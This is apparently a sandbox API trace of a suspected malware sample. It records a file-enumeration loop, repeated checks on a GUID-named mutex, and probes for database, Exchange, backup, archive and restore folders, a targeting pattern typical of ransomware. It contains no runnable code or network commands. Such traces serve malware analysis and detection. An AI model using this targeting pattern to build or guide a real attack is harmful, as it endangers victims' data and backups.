ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0058.182] GetLastError () returned 0x12 [0058.182] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.183] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0058.183] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.183] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.183] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.183] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.183] GlobalUnlock (hMem=0x44000c) returned 0 [0058.183] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.183] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.183] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.183] GlobalUnlock (hMem=0x44000c) returned 0 [0058.183] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.183] GlobalUnlock (hMem=0x440004) returned 0 [0058.183] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.183] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0058.183] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.183] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.183] GlobalLock (hMem=0x440004) returned 0x550170 [0058.183] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.183] GlobalUnlock (hMem=0x440004) returned 0 [0058.183] GlobalLock (hMem=0x440004) returned 0x550170 [0058.183] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.183] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.183] GlobalUnlock (hMem=0x440004) returned 0 [0058.183] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.183] GlobalUnlock (hMem=0x44000c) returned 0 [0058.183] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.184] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0058.184] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.184] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.184] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.184] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.184] GlobalUnlock (hMem=0x44000c) returned 0 [0058.184] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.184] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.184] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.184] GlobalUnlock (hMem=0x44000c) returned 0 [0058.184] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.184] GlobalUnlock (hMem=0x440004) returned 0 [0058.184] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.184] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.184] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.184] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.184] GlobalLock (hMem=0x440004) returned 0x550170 [0058.184] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.184] GlobalUnlock (hMem=0x440004) returned 0 [0058.184] GlobalLock (hMem=0x440004) returned 0x550170 [0058.184] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.184] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.184] GlobalUnlock (hMem=0x440004) returned 0 [0058.184] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.184] GlobalUnlock (hMem=0x44000c) returned 0 [0058.184] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.184] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.184] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.185] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.185] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.185] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.185] GlobalUnlock (hMem=0x44000c) returned 0 [0058.185] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.185] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.185] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.185] GlobalUnlock (hMem=0x44000c) returned 0 [0058.185] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.185] GlobalUnlock (hMem=0x440004) returned 0 [0058.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.185] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0058.185] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.185] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.185] GlobalLock (hMem=0x440004) returned 0x550170 [0058.185] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.185] GlobalUnlock (hMem=0x440004) returned 0 [0058.185] GlobalLock (hMem=0x440004) returned 0x550170 [0058.185] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.185] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.185] GlobalUnlock (hMem=0x440004) returned 0 [0058.185] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.185] GlobalUnlock (hMem=0x44000c) returned 0 [0058.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.185] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0058.185] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.185] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.186] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.186] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.186] GlobalUnlock (hMem=0x44000c) returned 0 [0058.186] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.186] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.186] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.186] GlobalUnlock (hMem=0x44000c) returned 0 [0058.186] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.186] GlobalUnlock (hMem=0x440004) returned 0 [0058.186] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.186] GlobalLock (hMem=0x440004) returned 0x550170 [0058.186] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.186] GlobalUnlock (hMem=0x440004) returned 0 [0058.186] GlobalLock (hMem=0x440004) returned 0x550170 [0058.186] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.186] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.186] GlobalUnlock (hMem=0x440004) returned 0 [0058.186] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.186] GlobalUnlock (hMem=0x44000c) returned 0 [0058.186] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.186] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push", len=0x30 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push") returned 1 [0058.186] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.186] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.186] GlobalUnlock (hMem=0x44000c) returned 0 [0058.186] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.187] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.187] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.187] GlobalUnlock (hMem=0x44000c) returned 0 [0058.187] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.187] GlobalUnlock (hMem=0x440004) returned 0 [0058.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@볢R벶R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0058.202] GetLastError () returned 0x3 [0058.202] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.202] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@뱔R企@\x18䀴Q\x181")) returned 0xffffffff [0058.204] GetLastError () returned 0x2 [0058.204] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@夜U企@\x18?T\x18;")) returned 0xffffffff [0058.205] GetLastError () returned 0x2 [0058.205] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@삌R企@\x18?T\x18D")) returned 0xffffffff [0058.207] GetLastError () returned 0x2 [0058.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@뱔R企@\x18夜U\x18j")) returned 0xffffffff [0058.209] GetLastError () returned 0x2 [0058.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@삌R企@\x18?T\x18q")) returned 0xffffffff [0058.210] GetLastError () returned 0x2 [0058.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\夘UP") returned 6 [0058.210] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@셤R企@\x18?T\x18y")) returned 0xffffffff [0058.212] GetLastError () returned 0x2 [0058.212] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@뱔R企@\x18?T\x18\x81")) returned 0xffffffff [0058.213] GetLastError () returned 0x2 [0058.213] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.213] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@삌R企@\x18?T\x18\x88")) returned 0xffffffff [0058.215] GetLastError () returned 0x2 [0058.215] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@셤R企@\x18?T\x18\x8f")) returned 0xffffffff [0058.216] GetLastError () returned 0x2 [0058.216] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="몤R䱠@뱔R企@\x18?T\x18\x97")) returned 0xffffffff [0058.218] GetLastError () returned 0x2 [0058.218] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.218] GlobalLock (hMem=0x440004) returned 0x550170 [0058.218] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.218] GlobalUnlock (hMem=0x440004) returned 0 [0058.218] GlobalLock (hMem=0x440004) returned 0x550170 [0058.218] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.218] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.218] GlobalUnlock (hMem=0x440004) returned 0 [0058.218] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.218] GlobalUnlock (hMem=0x44000c) returned 0 [0058.218] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.218] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.218] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.218] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact 